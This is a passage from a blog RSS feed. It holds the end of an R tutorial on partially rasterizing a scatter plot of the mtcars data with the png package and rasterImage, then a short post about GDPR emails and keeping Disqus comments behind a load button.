&lt;/span&gt;&lt;span class="n"&gt;plot.window&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xaxs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"i"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;yaxs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"i"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Finally, plot the data points as before and close the PNG device.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;points&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mpg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;dev.off&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# pdf&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#   2&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Now there are two figures that look like this, one PDF and one PNG:&lt;/p&gt;
&lt;p&gt;&lt;img alt="Iris Axes" src="/uploads/2018/mtcars_axes.png" /&gt;
  &lt;img alt="Iris Panel" src="/uploads/2018/mtcars_panel.png" /&gt;&lt;/p&gt;
&lt;p&gt;To combine these, read in the generated PNG file using the &lt;code&gt;png&lt;/code&gt; library, and then plot it using the &lt;code&gt;rasterImage&lt;/code&gt; function. The relevant code looks like this:&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;panel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;readPNG&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;"mtcars_panel.png"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;rasterImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;panel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Note that the coordinates for &lt;code&gt;rasterImage&lt;/code&gt; be specified a different order than for the &lt;code&gt;plot.window&lt;/code&gt; function from before.&lt;/p&gt;
&lt;p&gt;Wrap up by closing the PDF device.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;dev.off&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# null device &lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;#           1 &lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;All together, here is the entire script. It’s a bit different from what’s written above; in particular, I save the rasterized plot area to a temporary file to avoid cluttering up our working directory.&lt;/p&gt;
&lt;div class="language-r highlighter-rouge"&gt;
  &lt;div class="highlight"&gt;
    &lt;pre class="highlight"&gt;&lt;code&gt;&lt;span class="n"&gt;library&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;pdf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;“mtcars.pdf”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;7&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Set up plot axes and legend&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;plot&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mpg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;type&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“n”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;legend&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;5&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;y&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;34&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;legend&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;levels&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;)),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Extract plot area in both user and physical coordinates&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;par&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;“usr”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;gx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;grconvertX&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“user”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“inches”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;gy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;grconvertY&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“user”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“inches”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;max&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;min&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;gy&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Get a temporary file name for our rasterized plot area&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tempfile&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Can increase resolution from 300 if higher quality is desired.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;png&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;width&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;height&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;units&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“in”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;res&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;300&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“transparent”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;plot.new&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;plot.window&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mar&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;c&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xaxs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“i”&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;yaxs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;“i”&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;points&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mpg&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;col&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;factor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtcars&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="n"&gt;cyl&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pch&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;dev.off&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="c1"&gt;# Windows users may have trouble with transparent plot backgrounds; if this is the case,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c1"&gt;# set bg = “white” above and move the legend plot command below the raster plot command.&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;panel&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;readPNG&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tmp&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;rasterImage&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;panel&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;3&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;coords&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="m"&gt;4&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt;&lt;/p&gt;
&lt;p&gt;&lt;/span&gt;&lt;span class="n"&gt;dev.off&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;/p&gt;
&lt;h2&gt;Exercises&lt;/h2&gt;
&lt;ol&gt;
  &lt;li&gt;What would you need to change to plot a different type of data, e.g., a line plot or a 3D plot?&lt;/li&gt;
  &lt;li&gt;How would you apply this to a multi-panel figure?&lt;/li&gt;
  &lt;li&gt;How might this be accomplished with &lt;code&gt;ggplot2&lt;/code&gt; graphics? (Hint: &lt;code&gt;annotation_raster&lt;/code&gt;, &lt;code&gt;theme_void&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;Postscript&lt;/h2&gt;
&lt;p&gt;An alternative way to do this would be to write to a null device and use &lt;code&gt;dev.capture&lt;/code&gt; to rasterize and copy the the figure to the active device. However, that approach doesn’t appear to work consistently across platforms and devices, so I’ve taken the more portable approach presented here.&lt;/p&gt;</description><author>Jonathan Chang</author><pubDate>Fri, 25 May 2018 20:25:00 GMT</pubDate><guid isPermaLink="true">https://jonathanchang.org/blog/how-to-partially-rasterize-a-figure-plotted-with-r/</guid></item><item><title>GDPR Compliance</title><link>https://bastibe.de/2018-05-25-gdpr-compliance.html</link><description>&lt;p&gt;Personal email is dead. The signal-to-noise ratio of my personal email account has been deeply negative for years. But the last few days have been especially riveting, with a torrent of GDPR-compliance emails from just about every company that has ever gotten their hands on my email address. Anecdotally, if spam makes up about 90% of all email traffic, and the last few days have seen a ten-fold increase in traffic due to GDPR emails, we might even have &amp;quot;defeated spam&amp;quot; for a few days! Yay internet!&lt;/p&gt;
&lt;p&gt;But sadly, I can't add to the signal-to-noise ratio, because this website does not collect any email addresses. And even more sadly, it doesn't even collect IP addresses, or use any kind of analytics at all. Sorry about that. I honestly do not know how many people read my stuff, and I can not rank my blog posts by their popularity. And I like it that way. It prevents me from getting on any kind of treadmill to please any kind of imagined audience.&lt;/p&gt;
&lt;p&gt;That is... with one exception: Comments on this website are powered by Disqus, and I'm sure Disqus collects all kinds of data about all kinds of things. That's why comments are now hidden behind a &amp;quot;Load Disqus Comments&amp;quot; button. I promise you that no foreign Javascript is executed unless you press that button&lt;sup class="footnote-ref" id="fnref-1"&gt;&lt;a href="#fn-1"&gt;1&lt;/a&gt;&lt;/sup&gt;. And honestly, GDPR didn't even have anything to do with that. I just didn't want any foreign JavaScript.&lt;/p&gt;
&lt;section class="footnotes"&gt;
&lt;ol&gt;
&lt;li id="fn-1"&gt;&lt;p&gt;Unless &lt;a href="https://github.com/Khan/KaTeX"&gt;katex.min.js&lt;/a&gt; somehow is loading external javascript...&lt;a class="footnote" href="#fnref-1"&gt;&amp;#8617;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;
